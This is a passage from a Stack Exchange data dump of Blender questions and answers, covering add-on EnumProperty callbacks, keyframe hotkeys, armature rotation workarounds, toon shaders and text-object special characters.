@classmethod&#xA;    def poll(self,context):&#xA;        return context.object is not None&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;        mytool = scene.my_tool&#xA;&#xA;        layout.prop(mytool, &quot;transform&quot;, text=&quot;&quot;)&#xA;&#xA;        # print selected property&#xA;        print (mytool.transform)&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;# register and unregister functions&#xA;# ------------------------------------------------------------------------&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.my_tool = PointerProperty(type=MySettings)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.my_tool&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks again,&lt;br/&gt;&#xA;Christian&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="12" LastEditDate="2014-06-03T13:04:33.313" LastActivityDate="2020-09-30T15:36:25.227" Title="Dynamic EnumProperty by type of selection" Tags="&lt;python&gt;&lt;add-on&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10911" PostTypeId="1" CreationDate="2014-06-01T21:56:11.070" Score="0" ViewCount="278" Body="&lt;p&gt;I am trying to make an animation in Blender. To set the keyframes I am supposed to press &lt;kbd&gt;I&lt;/kbd&gt;, but it doesn't do anything associated with the animation. It my be doing an invert. I have no idea. I am a beginner and help would be appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="user3693220" LastEditorDisplayName="user1853" LastEditDate="2014-07-02T15:26:14.807" LastActivityDate="2014-07-02T15:26:14.807" Title="Blender I Hotkey not doing what it is supposed to" Tags="&lt;animation&gt;&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10912" PostTypeId="2" ParentId="10911" CreationDate="2014-06-02T09:23:46.840" Score="1" Body="&lt;p&gt;Blender uses several different 'modes' - the same keys sometimes work differently depending on the current mode. The mode menu is normally shown at the bottom of the 3DView.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sbh4k.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;kbd&gt;I&lt;/kbd&gt; while in object mode will bring up the insert keyframe menu, unless you have specified a keying set for it to use automatically. When a keyframe is inserted you also get feedback in several areas - the timeline will show a yellow line on the frame that has a keyframe and numerical values will have a yellow background (this changes to green when you change frames)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2awtj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are in edit mode of a mesh object then &lt;kbd&gt;I&lt;/kbd&gt; will perform an inset on the selected part of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; will invert the selection - both in object and edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also blender uses &quot;focus follows mouse&quot; which is a bit different than most Mac and Windows users are used to, you need to have the mouse cursor over the part of the blender window that you want to perform the action, which for insert keyframe would be the 3DView.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-06-02T09:23:46.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10913" PostTypeId="1" AcceptedAnswerId="12321" CreationDate="2014-06-02T15:35:55.567" Score="1" ViewCount="2294" Body="&lt;p&gt;I'm trying to export a bone animation. I've followed a lot of the suggestions found in &lt;a href=&quot;http://trac.wildfiregames.com/wiki/AnimationExportTutorial&quot; rel=&quot;nofollow&quot;&gt;this helpful tutorial&lt;/a&gt;, with success. Near the top, they suggest that I avoid unchecking the 'Inherit Rotation' box on any bones, as it will not export properly. They also suggest the following vague workaround:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There's a tricky workaround for this, which is creating a helper bone&#xA;  which the bone that you don't want to rotate will copy its rotation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can someone explain this workaround in more detail for me? If you're familiar with the armature created by the Rigify add-on, I'd like the bone called 'spine' to not rotate with the bone called 'hips', but I would still like 'spine' to follow 'hip's position. How can I achieve this without unchecking Inherit Rotation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I've included the .blend file &lt;a href=&quot;https://dl.dropboxusercontent.com/u/82595571/Blaze_multiple_animations.blend&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The bone that has 'inherit rotation' unchecked is the 'spine' bone. I'd like to be able to use the workaround on that bone. When I load this model into Assimp, his whole upper body rocks right and left (as if the spine bone was inheriting the rotation of the hips bone).&lt;/p&gt;&#xA;" OwnerUserId="1170" LastEditorUserId="1170" LastEditDate="2014-06-17T18:29:40.337" LastActivityDate="2018-12-01T15:06:31.700" Title="Workaround for 'Inherit Rotation' in armature?" Tags="&lt;animation&gt;&lt;export&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10914" PostTypeId="2" ParentId="10877" CreationDate="2014-06-02T16:08:49.440" Score="0" Body="&lt;p&gt;You could try something like setting the rotation to -180 (and actually rotating the object), applying it (setting rotation to zero without affecting the object), then rotating by 90. –  &lt;em&gt;correct answer provided by&lt;/em&gt; &lt;strong&gt;gandalf3&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3462" LastActivityDate="2014-06-02T16:08:49.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10915" PostTypeId="1" AcceptedAnswerId="10928" CreationDate="2014-06-02T16:21:39.353" Score="2" ViewCount="448" Body="&lt;p&gt;I know I asked something like this before, but this is more centered on the glossiness. How can I add glossiness on a material that has a toon|diffuse shader on it? Do I have to combine the toon|diffuse and the toon|glossy shaders? But how? The add shader doesn't seem to do a good job, because it masses up the colors brightness or something on the colors. Basically, how to combine the toon|diffuse and toon|glossy shader effectively?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-06-02T21:21:01.077" Title="How to add glossiness on a cartoon shading?" Tags="&lt;shaders&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10917" PostTypeId="1" AcceptedAnswerId="10923" CreationDate="2014-06-02T16:59:41.733" Score="4" ViewCount="1071" Body="&lt;p&gt;How can I construct hyperbolic solids (hyperbolic cube, tetrahedron, etc.) in Blender? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a picture of a hyperbolic cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j1G3t.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://euler.slu.edu/escher/index.php/Hyperbolic_Geometry&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is some more information on hyperbolic solids. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be clear, I would ultimately like to construct a hyperbolic dodecahedron, but I want to learn how to use a general method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; The solution does not have to be mathematically perfect, but it would be nice. I am trying to 3D print a gift for someone. &lt;/p&gt;&#xA;" OwnerUserId="2695" LastEditorUserId="6160" LastEditDate="2015-09-23T17:15:26.830" LastActivityDate="2015-09-23T17:15:26.830" Title="Hyperbolic Solids in Blender?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;geometry&gt;&lt;3d-printing&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10918" PostTypeId="1" AcceptedAnswerId="10920" CreationDate="2014-06-02T17:27:42.527" Score="6" ViewCount="3683" Body="&lt;p&gt;To display a special font character (a character that does not have it's own key on the keyboard) in most Windows apps you press and hold the &lt;kbd&gt;Alt&lt;/kbd&gt; key then enter an ASCII character number using the numeric keypad (located on the right side of the keyboard). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This technique does not seem to work in Blender text edit mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions?&lt;/p&gt;&#xA;" OwnerUserId="2279" LastEditorUserId="599" LastEditDate="2014-06-25T23:24:27.070" LastActivityDate="2017-03-24T00:19:46.650" Title="Font special ASCII characters in 2.6" Tags="&lt;text-object&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10919" PostTypeId="2" ParentId="10910" CreationDate="2014-06-02T17:40:27.510" Score="15" Body="&lt;p&gt;You can supply &lt;code&gt;EnumProperty()&lt;/code&gt; with a callback function for the &lt;code&gt;items&lt;/code&gt;-argument and create a list of tuples based on context:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &amp;quot;name&amp;quot;: &amp;quot;tester&amp;quot;,&#xA;    &amp;quot;description&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;author&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;version&amp;quot;: (0, 0, 2),&#xA;    &amp;quot;blender&amp;quot;: (2, 80, 0),&#xA;    &amp;quot;location&amp;quot;: &amp;quot;3D View &amp;gt; Toolbox&amp;quot;,&#xA;    &amp;quot;warning&amp;quot;: &amp;quot;&amp;quot;, # used for warning icon and text in addons panel&#xA;    &amp;quot;wiki_url&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;tracker_url&amp;quot;: &amp;quot;&amp;quot;,&#xA;    &amp;quot;category&amp;quot;: &amp;quot;Test&amp;quot;&#xA;}&#xA;&#xA;import bpy&#xA;import re&#xA;import math&#xA;from mathutils import Vector&#xA;from math import pi&#xA;&#xA;from bpy.props import (StringProperty,&#xA;                       BoolProperty,&#xA;                       IntProperty,&#xA;                       FloatProperty,&#xA;                       FloatVectorProperty,&#xA;                       EnumProperty,&#xA;                       PointerProperty,&#xA;                       )&#xA;from bpy.types import (Panel,&#xA;                       Operator,&#xA;                       AddonPreferences,&#xA;                       PropertyGroup,&#xA;                       )&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    Scene Properties&#xA;# ------------------------------------------------------------------------&#xA;&#xA;def my_settings_callback(scene, context):&#xA;&#xA;    items = [&#xA;        ('LOC', &amp;quot;Location&amp;quot;, &amp;quot;&amp;quot;),&#xA;        ('ROT', &amp;quot;Rotation&amp;quot;, &amp;quot;&amp;quot;),&#xA;        ('SCL', &amp;quot;Scale&amp;quot;, &amp;quot;&amp;quot;),&#xA;    ]&#xA;&#xA;    ob = context.object&#xA;    if ob is not None:&#xA;        if ob.type == 'LIGHT':&#xA;            items.append(('NRG', &amp;quot;Energy&amp;quot;, &amp;quot;&amp;quot;))&#xA;            items.append(('COL', &amp;quot;Color&amp;quot;, &amp;quot;&amp;quot;))&#xA;&#xA;    return items&#xA;&#xA;class MySettings(PropertyGroup):&#xA;&#xA;    # apply values to LOC ROT SCL&#xA;    transform : EnumProperty(&#xA;        name=&amp;quot;Apply Data to:&amp;quot;,&#xA;        description=&amp;quot;Apply Data to attribute.&amp;quot;,&#xA;        items=my_settings_callback&#xA;        )&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    Panel in Object Mode&#xA;# ------------------------------------------------------------------------&#xA;&#xA;class OBJECT_PT_my_panel(Panel):&#xA;    bl_label = &amp;quot;My Panel&amp;quot;&#xA;    bl_idname = &amp;quot;OBJECT_PT_custom_panel&amp;quot;&#xA;    bl_space_type = &amp;quot;VIEW_3D&amp;quot;   &#xA;    bl_region_type = &amp;quot;UI&amp;quot;&#xA;    bl_category = &amp;quot;Tools&amp;quot;&#xA;    bl_context = &amp;quot;objectmode&amp;quot; &#xA;&#xA;    @classmethod&#xA;    def poll(self,context):&#xA;        return context.object is not None&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;        mytool = scene.my_tool&#xA;&#xA;        layout.prop(mytool, &amp;quot;transform&amp;quot;, text=&amp;quot;&amp;quot;)&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#   Registration&#xA;# ------------------------------------------------------------------------&#xA;&#xA;classes = (&#xA;    MySettings,&#xA;    OBJECT_PT_my_panel&#xA;)&#xA;&#xA;def register():&#xA;    &#xA;    from bpy.utils import register_class&#xA;    for cls in classes:&#xA;        register_class(cls)&#xA;        &#xA;    bpy.types.Scene.my_tool = PointerProperty(type=MySettings)&#xA;&#xA;def unregister():&#xA;    &#xA;    from bpy.utils import unregister_class&#xA;    for cls in reversed(classes):&#xA;        unregister_class(cls)&#xA;        &#xA;    del bpy.types.Scene.my_tool&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that if you select a Lamp, set the property to e.g. &lt;em&gt;Color&lt;/em&gt; and then select a non-lamp object, the enum will show no label in the panel, but return &lt;code&gt;LOC&lt;/code&gt; (the first item) to a script. If you select a Lamp object again, it will return &lt;code&gt;COL&lt;/code&gt; again!&lt;/p&gt;&#xA;&lt;p&gt;You can not set a default item if a dynamic enum is used.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/api/current/bpy.props.html#bpy.props.EnumProperty&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/api/current/bpy.props.html#bpy.props.EnumProperty&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;BTW:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your Blender version tuple is wrong, it needs to be &lt;code&gt;(2, 80, 0)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You don't need an extra class to support vertical tabs&lt;/li&gt;&#xA;&lt;li&gt;In &lt;code&gt;unregister()&lt;/code&gt;, the &lt;code&gt;del&lt;/code&gt; keyword is missing to remove the PointerProperty&lt;/li&gt;&#xA;&lt;li&gt;Blender / Python conventions are to use snake_case for names like bl_idname, but CamelCase for e.g. classes (with capital first letter)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="31447" LastEditDate="2020-09-30T15:36:25.227" LastActivityDate="2020-09-30T15:36:25.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10920" PostTypeId="2" ParentId="10918" CreationDate="2014-06-02T17:47:29.070" Score="7" Body="&lt;p&gt;To enter special characters for a Text object,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;enter editmode&lt;/li&gt;&#xA;&lt;li&gt;type any letter&lt;/li&gt;&#xA;&lt;li&gt;go to &lt;em&gt;Redo panel&lt;/em&gt; (it should show &lt;em&gt;Insert Text&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;open &lt;em&gt;Notepad&lt;/em&gt; or another text editor&lt;/li&gt;&#xA;&lt;li&gt;enter your special char using Alt key&lt;/li&gt;&#xA;&lt;li&gt;copy and paste the char to the &lt;em&gt;Text&lt;/em&gt; property field in Blender's &lt;em&gt;Redo panel&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MUNn1.png&quot; alt=&quot;Text Object - Insert special char via Redo panel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;load an external text file with the &lt;em&gt;Text Editor&lt;/em&gt;,&lt;/li&gt;&#xA;&lt;li&gt;then click the menu &lt;em&gt;Edit &gt; Text To 3D Object &gt; One Object&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6UuB0.png&quot; alt=&quot;Text to 3D Object&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-06-02T17:47:29.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10921" PostTypeId="1" CreationDate="2014-06-02T17:51:17.923" Score="1" ViewCount="120" Body="&lt;p&gt;I am working on an infographic-animation that features simple revenue cost profit finance projection tables. I would like to be able to enhance this complexity with larger tables for scenario variables that change as the animation moves forward without mass edits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a calculator table script?&lt;/p&gt;&#xA;" OwnerUserId="2279" LastActivityDate="2014-06-03T11:19:22.300" Title="Script for simple finance calculations in blender?" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10922" PostTypeId="1" AcceptedAnswerId="10924" CreationDate="2014-06-02T18:10:06.790" Score="4" ViewCount="250" Body="&lt;p&gt;I'm trying to use material for color and texture for the appearance (smooth,rough...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it assigns me the color of the texture too.&#xA;I'm trying to make the gem in here: &lt;a href=&quot;http://www.blendswap.com/blends/view/70566&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/70566&lt;/a&gt;&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3403" LastEditorUserId="12" LastEditDate="2014-06-02T18:57:49.633" LastActivityDate="2018-12-15T02:45:56.960" Title="Use a texture as an influence map without showing any diffuse color" Tags="&lt;materials&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10923" PostTypeId="2" ParentId="10917" CreationDate="2014-06-02T18:52:13.067" Score="5" Body="&lt;p&gt;If you're just in it for the looks, the easiest thing would be to take advantage of proportional editing. Using your cube as an example, do the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Sub-divide the cube multiple (Edit mode &gt; Select All [&lt;kbd&gt;A&lt;/kbd&gt;] &gt; Specials [&lt;kbd&gt;W&lt;/kbd&gt;] &gt; Subdivide... then use the Last Operator panel [&lt;kbd&gt;F6&lt;/kbd&gt;] to increase the number of subdivisions to taste).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select just the eight corner vertices on the cube.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable proportional editing (&lt;kbd&gt;O&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the proportional fall-off to Sharp (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;O&lt;/kbd&gt; 3 times if you're at the default of Smooth. Alternatively, there's a drop-down menu in the 3D View's header where you can choose the fall-off using your mouse).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale (&lt;kbd&gt;S&lt;/kbd&gt;) those vertices. As you do, scroll your mouse wheel to adjust the fall-off influence of the proportional edit area.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To get sharp edges, select all the edges around the model and then crease them with (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;) and drag until the value in the header is at &lt;code&gt;1.0&lt;/code&gt; or just press 1 on your keyboard.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally, you may want to also use the Subdivision Surface modifier and the Edge Split modifier to help smooth things out a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RkGk6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="12" LastEditDate="2014-06-02T19:16:58.903" LastActivityDate="2014-06-02T19:16:58.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10924" PostTypeId="2" ParentId="10922" CreationDate="2014-06-02T18:56:07.697" Score="4" Body="&lt;p&gt;You need to disable the Diffuse &lt;em&gt;Color&lt;/em&gt; check box under &lt;em&gt;Influence&lt;/em&gt; in the texture panel (or set it to 0). This prevents the texture from showing any color when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iKmyq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both objects below use the same texture and have the same material colour, the second one also has &lt;em&gt;Normal&lt;/em&gt; checked as an example of using the texture as a bump map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZUriU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2018-12-15T02:45:56.960" LastActivityDate="2018-12-15T02:45:56.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10925" PostTypeId="1" AcceptedAnswerId="10939" CreationDate="2014-06-02T20:19:32.593" Score="25" ViewCount="95805" Body="&lt;p&gt;How to render perfect cartoons in blender? Whatever the engine is (internal or cycles) I always get that shading transition somewhere on the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EdKom.png&quot; alt=&quot;Blender internal render engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IN3I7.png&quot; alt=&quot;Cycles render engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The first picture is in blender internal render engine with the toon shading material and the second picture is in cycles render engine with the toon shader.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;How can I get completely flat colors with no fancy shading variation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xphU2.png&quot; alt=&quot;shading transition&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uxMhQ.png&quot; alt=&quot;no shading transition&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="55" LastEditDate="2014-06-03T00:28:15.733" LastActivityDate="2021-03-12T12:45:28.083" Title="How to render cartoon style with completely flat colors?" Tags="&lt;shaders&gt;" AnswerCount="8" CommentCount="4" FavoriteCount="24" ContentLicense="CC BY-SA 3.0" />
  <row Id="10926" PostTypeId="1" AcceptedAnswerId="10932" CreationDate="2014-06-02T20:20:54.610" Score="2" ViewCount="86" Body="&lt;p&gt;I previously animated a short animation. I wanted to redo the animation. So I redid the animation and it can be seen when you scrub through the frames in the time frame but when you hit the animation button it replays the old animation. Can can I force blender to use the new keyframes? &lt;/p&gt;&#xA;" OwnerUserId="3716" LastActivityDate="2020-01-02T18:19:36.090" Title="The animation in my timeline is not displayed when I hit the Animation button" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-09-16T00:23:30.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="10928" PostTypeId="2" ParentId="10915" CreationDate="2014-06-02T20:59:13.733" Score="2" Body="&lt;p&gt;A &lt;a href=&quot;https://blender.stackexchange.com/questions/785/what-is-a-bsdf&quot;&gt;BSDF&lt;/a&gt; shader requires three parameters: normal, size and smooth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the mix-shader doesn't produce the results you want you can still write your own shader using &lt;a href=&quot;https://blender.stackexchange.com/questions/2238/what-does-open-shading-language-osl-mean&quot;&gt;OSL&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shader Toon(&#xA;float diffuse_Fac = .5,&#xA;float glossy_Fac = .5,&#xA;color diffuse_color = .8,&#xA;color glossy_color = .8,&#xA;float diffuse_size = .5, &#xA;float glossy_size = .5, &#xA;float diffuse_smooth = 0, &#xA;float glossy_smooth = 0, &#xA;normal diffuse_normal = N,&#xA;normal glossy_normal = N,&#xA;output closure color BSDF = background()&#xA;)&#xA;&#xA;{&#xA;BSDF = diffuse_Fac * diffuse_color * diffuse_toon(diffuse_normal, diffuse_size, diffuse_smooth)&#xA;     + glossy_Fac * glossy_color * glossy_toon(glossy_normal, glossy_size, glossy_smooth);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This one was adapted from this &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?283056-Cycles-Toon-Shader&quot; rel=&quot;nofollow noreferrer&quot;&gt;BA Thread&lt;/a&gt; where you also find pointers on this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need to enable OSL in the render settings (this implies that it can't any longer be process by the GPU) and add a &lt;em&gt;Script Node&lt;/em&gt; as shown in the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EJGwL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try &lt;code&gt;specular_toon()&lt;/code&gt; I wonder why this is not accessible from the Add Menu.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-06-02T21:21:01.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10929" PostTypeId="1" AcceptedAnswerId="10951" CreationDate="2014-06-02T21:46:53.913" Score="0" ViewCount="482" Body="&lt;p&gt;Is it possible the toon material and specular from the blender internal render engine to be rendered in the cycles render engine by using render layers?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2014-06-03T09:44:10.927" Title="toon material from blender internal rendered in cycles render engine?" Tags="&lt;rendering&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-06-03T13:06:29.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="10930" PostTypeId="1" CreationDate="2014-06-02T22:20:41.657" Score="2" ViewCount="264" Body="&lt;p&gt;How to add coastline detection (for smoother transitions between the water and the coast) using blender cycles material nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intention is to do something like this water shader made for the Martinsh from BA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2013/06/22/waterunderwater-sky-shader/&quot; rel=&quot;nofollow&quot;&gt;http://www.blendernation.com/2013/06/22/waterunderwater-sky-shader/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But insteed of a real time shader, I wish a blender cycles shader!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to recreate all major aspects... volumetrics, caustics... but I can't find a way to do the smooth transitions between the water and the coastline!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone have a hint?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2014-06-02T22:20:41.657" Title="How to add coastline detection (for smoother transitions between the water and the coast) using blender cycles material nodes?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10931" PostTypeId="2" ParentId="10620" CreationDate="2014-06-02T23:33:37.053" Score="0" Body="&lt;p&gt;Okay, so the problem was in the script I was using. You can find it here: riyusakisan.weebly.com&#xA;In this bit of code here:&#xA;&lt;code&gt;&#xA;Mouselook Properties&#xA;ml{&#xA;    ### Basic Properties ###&#xA;    (num) sensitivity = 3&#xA;    (bool) invert = false&#xA;    (bool) inherit = true&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turning &quot;inherit&quot; to false will fix the problem.&lt;/p&gt;&#xA;" OwnerUserId="3584" LastActivityDate="2014-06-02T23:33:37.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10932" PostTypeId="2" ParentId="10926" CreationDate="2014-06-02T23:39:02.120" Score="2" Body="&lt;p&gt;It's quite common to render an animation, load it in the Video Sequence Editor, and forget that it was there. If you make changes to your 3D scene and render, you'd be looking at your old scene, not the newly altered one. The video strips on the VSE override your 3D scene unless you unclick the sequencer checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GkDc0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Jbbzn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jbbzn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2020-01-02T18:19:36.090" LastActivityDate="2020-01-02T18:19:36.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
